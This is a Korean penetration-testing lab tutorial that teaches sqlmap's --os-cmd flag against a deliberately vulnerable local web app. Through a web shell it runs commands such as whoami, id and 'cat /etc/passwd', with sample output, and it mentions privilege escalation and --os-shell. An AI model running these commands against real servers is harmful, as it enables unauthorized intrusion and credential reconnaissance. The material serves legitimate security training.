소개
이 실습에서는 sqlmap을 사용하여 대상 서버에서 운영 체제 명령을 실행하는 강력한 기능을 탐색합니다. 이 기능은 SQL 인젝션 취약점을 식별하고 기본 시스템을 추가로 손상시키려는 침투 테스트 시나리오에서 특히 유용합니다. --os-cmd 플래그 사용법, 출력 분석 및 이 기술의 한계를 이해하게 될 것입니다.
이 실습에서는 sqlmap을 사용하여 대상 서버에서 운영 체제 명령을 실행하는 강력한 기능을 탐색합니다. 이 기능은 SQL 인젝션 취약점을 식별하고 기본 시스템을 추가로 손상시키려는 침투 테스트 시나리오에서 특히 유용합니다. --os-cmd 플래그 사용법, 출력 분석 및 이 기술의 한계를 이해하게 될 것입니다.
이 단계에서는 sqlmap이 설치되어 있고 SQL 인젝션 취약점을 식별하는 방법에 대한 기본적인 이해를 갖추고 있는지 확인할 것입니다. sqlmap을 통한 OS 명령 실행은 일반적으로 대상 시스템에 파일을 쓸 수 있는 능력 (예: 웹 쉘) 이나 명령 실행을 허용하는 특정 데이터베이스 함수를 활용하는 데 의존합니다.
먼저 시스템에 sqlmap이 설치되어 있는지 확인합니다. 터미널을 열고 다음을 입력합니다.
sqlmap --version
설치된 sqlmap 버전을 나타내는 다음과 유사한 출력이 표시되어야 합니다.
sqlmap version 1.x.x.x ## x.x.x.x는 실제 버전으로 대체하십시오.
다음으로, 로컬 더미 웹 애플리케이션에서 SQL 인젝션 취약점을 탐지하기 위해 sqlmap을 사용할 것입니다. 이 애플리케이션은 SQL 인젝션에 취약하도록 설정되었습니다.
sqlmap -u "http://127.0.0.1:8000/index.php?id=1" --batch --risk=3 --level=3
--batch 플래그는 sqlmap에게 비대화형 모드로 실행하여 기본 선택 사항을 수락하도록 지시합니다. --risk=3 및 --level=3은 sqlmap이 수행하는 테스트의 깊이를 증가시키며, 이는 OS 명령 실행을 허용할 수 있는 취약점을 찾는 데 종종 필요합니다.
명령을 실행한 후 sqlmap은 다양한 테스트를 수행합니다. SQL 인젝션 취약점이 탐지되었음을 나타내는 출력을 찾으십시오. 다음과 유사한 줄이 표시될 수 있습니다.
---
[INFO] 대상 URL에 대한 연결 테스트 중
[INFO] 대상이 안정적인지 확인 중
[INFO] 대상 URL이 안정적입니다.
[INFO] GET 매개변수 'id'가 SQL 인젝션에 취약한지 테스트 중
...
[INFO] GET 매개변수 'id'가 취약합니다.
...
---
이는 sqlmap이 SQL 인젝션 취약점을 성공적으로 식별했음을 확인하며, 이는 OS 명령 실행을 시도하기 위한 사전 조건입니다.
--os-cmd 플래그 사용이 단계에서는 sqlmap의 --os-cmd 플래그를 사용하여 대상 서버에서 단일 운영 체제 명령을 실행하는 방법을 배웁니다. 이 플래그는 sqlmap이 명령을 실행할 방법을 식별했을 때 사용되며, 일반적으로 웹 쉘을 업로드하거나 데이터베이스별 함수를 활용하는 방식입니다.
--os-cmd 사용의 기본 구문은 다음과 같습니다.
sqlmap -u "http://127.0.0.1:8000/index.php?id=1" --os-cmd="<command>" --batch
<command>를 실행하려는 실제 OS 명령으로 바꾸십시오. sqlmap은 이 명령을 실행하고 그 출력을 반환하려고 시도합니다.
웹 애플리케이션이 실행 중인 현재 디렉터리의 파일을 나열하는 ls와 같은 간단한 명령을 실행해 보겠습니다.
sqlmap -u "http://127.0.0.1:8000/index.php?id=1" --os-cmd="ls" --batch
그러면 sqlmap은 다음을 수행합니다.
ls 명령 실행진행 상황을 나타내는 다양한 sqlmap 메시지가 표시됩니다.
...
[INFO] OS 명령 실행을 위해 웹 쉘 업로드 시도 중
[INFO] 웹 쉘이 '/tmp/web_app/tmpbxxxx.php'에 업로드되었습니다.
[INFO] OS 명령 'ls' 실행 중
...
ls 명령의 출력은 sqlmap이 성공적으로 실행한 후 표시됩니다. 이는 서버에서 임의의 명령을 실행할 수 있는 능력을 보여줍니다.
whoami 또는 id와 같은 간단한 명령 실행이 단계에서는 웹 서버 프로세스가 실행되는 사용자 및 그룹 컨텍스트에 대한 정보를 수집하기 위해 whoami 및 id와 같은 일반적인 Linux 명령을 실행합니다. 이 정보는 손상된 시스템에서 가진 권한을 이해하는 데 중요합니다.
먼저 whoami 명령을 실행해 보겠습니다.
sqlmap -u "http://127.0.0.1:8000/index.php?id=1" --os-cmd="whoami" --batch
sqlmap이 완료된 후 whoami 명령의 출력을 표시합니다. 일반적으로 웹 서버 (예: www-data, apache 또는 실험 환경의 labex) 가 실행되는 사용자 이름입니다.
...
[INFO] 검색된 OS 명령 출력:
labex
...
다음으로 id 명령을 실행합니다. 이 명령은 사용자 ID(UID), 그룹 ID(GID) 및 사용자가 속한 모든 그룹을 포함하여 더 자세한 정보를 제공합니다.
sqlmap -u "http://127.0.0.1:8000/index.php?id=1" --os-cmd="id" --batch
id 명령의 출력은 다음과 유사하게 표시됩니다.
...
[INFO] 검색된 OS 명령 출력:
uid=1000(labex) gid=1000(labex) groups=1000(labex),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),116(lpadmin),126(sambashare)
...
이 출력을 분석하면 사용 가능한 권한을 이해하는 데 도움이 됩니다. 예를 들어, 사용자가 sudo 그룹에 속해 있다면 권한을 상승시킬 수 있습니다.
이 단계에서는 sqlmap이 실행된 OS 명령의 출력을 어떻게 표시하는지, 그리고 무엇을 찾아야 하는지에 대해 이해하는 데 중점을 둘 것입니다. sqlmap은 업로드한 웹 쉘 (또는 다른 실행 방법) 에서 명령 출력을 검색하여 콘솔에 표시합니다.
--os-cmd를 사용하여 명령을 실행하면 sqlmap은 일반적으로 다음과 유사한 줄을 표시합니다.
[INFO] 검색된 OS 명령 출력:
그 뒤에 명령의 실제 출력이 이어집니다. 예를 들어 ls -l /tmp를 실행했다면 출력은 다음과 같을 수 있습니다.
[INFO] 검색된 OS 명령 출력:
total 8
-rw-r--r-- 1 labex labex 1234 Jan 1 10:00 somefile.txt
drwxr-xr-x 2 labex labex 4096 Jan 1 10:05 somedir
이 출력을 주의 깊게 읽는 것이 중요합니다. 대상 시스템에 대한 직접적인 통찰력을 제공합니다. 예를 들어:
ls, dir): 디렉터리 구조, 파일 이름 및 권한을 보여줍니다.uname -a, cat /etc/os-release): 운영 체제, 커널 버전 및 배포판에 대한 세부 정보를 제공합니다.ip a, ifconfig): 네트워크 인터페이스, IP 주소 및 네트워크 구성을 보여줍니다.ps aux): 실행 중인 프로세스를 나열하여 다른 서비스 또는 애플리케이션을 나타낼 수 있습니다.민감한 시스템 파일을 검색할 수 있는지 확인하기 위해 cat /etc/passwd를 실행해 보세요.
sqlmap -u "http://127.0.0.1:8000/index.php?id=1" --os-cmd="cat /etc/passwd" --batch
sqlmap 출력에서 /etc/passwd 파일의 내용을 볼 수 있습니다. 이 파일에는 사용자 계정 정보가 포함되어 있으며 정찰 활동의 일반적인 대상입니다.
...
[INFO] 검색된 OS 명령 출력:
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
...
labex:x:1000:1000:LabEx User,,,:/home/labex:/bin/zsh
...
이 출력을 분석하면 잠재적인 사용자, 해당 홈 디렉터리 및 기본 쉘을 식별하는 데 도움이 되며, 이는 추가적인 공격에 유용할 수 있습니다.
이 단계에서는 --os-cmd 플래그를 통해 OS 명령을 실행할 때의 내재된 한계, 특히 비대화형 특성에 대해 이해할 것입니다.
--os-cmd 플래그는 단일 명령을 실행하고 그 출력을 반환합니다. 일반적인 SSH 또는 터미널 세션과 같은 대화형 쉘을 제공하지 않습니다. 이는 다음을 의미합니다.
--os-cmd 실행은 새롭고 독립적인 요청입니다. 명령을 실행한 다음 해당 출력을 사용하여 동일한 "세션"에서 다음 명령에 대한 정보를 얻을 수 없습니다.nano, vi, top, passwd) 을 실행할 수 없습니다.|) 또는 세미콜론 (;) 을 사용하여 명령을 연결할 수 있지만 복잡한 워크플로 또는 조건부 로직을 관리하는 것은 번거롭습니다. 예를 들어, ls -l /tmp | grep "file"은 작동하지만 사용자 상호 작용이 필요한 다단계 스크립트는 작동하지 않습니다.이러한 한계를 극복하기 위해 침투 테스터는 sqlmap에서 --os-shell 또는 --os-pwn을 자주 사용합니다 (기본 데이터베이스 및 웹 서버 구성에서 지원하는 경우). 이러한 플래그는 반대화형 또는 완전 대화형 쉘을 설정하여 더 복잡한 작업을 수행할 수 있도록 합니다. 그러나 --os-cmd는 빠른 정찰 또는 단일 원자 명령 실행에 유용합니다.
예를 들어, 일반적으로 상호 작용이 필요한 명령인 nano를 실행해 보세요.
sqlmap -u "http://127.0.0.1:8000/index.php?id=1" --os-cmd="nano" --batch
sqlmap이 이 비대화형 모드에서 제공할 수 없는 터미널과 사용자 입력을 nano가 예상하기 때문에 오류 또는 의미 있는 출력이 없을 가능성이 높습니다.
...
[INFO] 검색된 OS 명령 출력:
Error opening terminal: unknown.
...
이는 단일 명령에 강력하지만 --os-cmd는 전체 대화형 쉘을 대체할 수 없음을 보여줍니다.
이 실습에서는 sqlmap의 --os-cmd 플래그를 사용하여 대상 서버에서 운영 체제 명령을 실행하는 방법을 성공적으로 배웠습니다. 사전 요구 사항을 확인하는 것으로 시작하여 ls, whoami, id, cat /etc/passwd와 같은 간단한 명령을 실행하는 연습을 했습니다. 또한 sqlmap이 반환한 명령 출력을 분석하는 방법을 이해했으며, 중요한 것은 비대화형 명령 실행의 한계를 인식했습니다. 이 기술은 웹 애플리케이션 침투 테스트의 사후 착취 단계에 필수적입니다.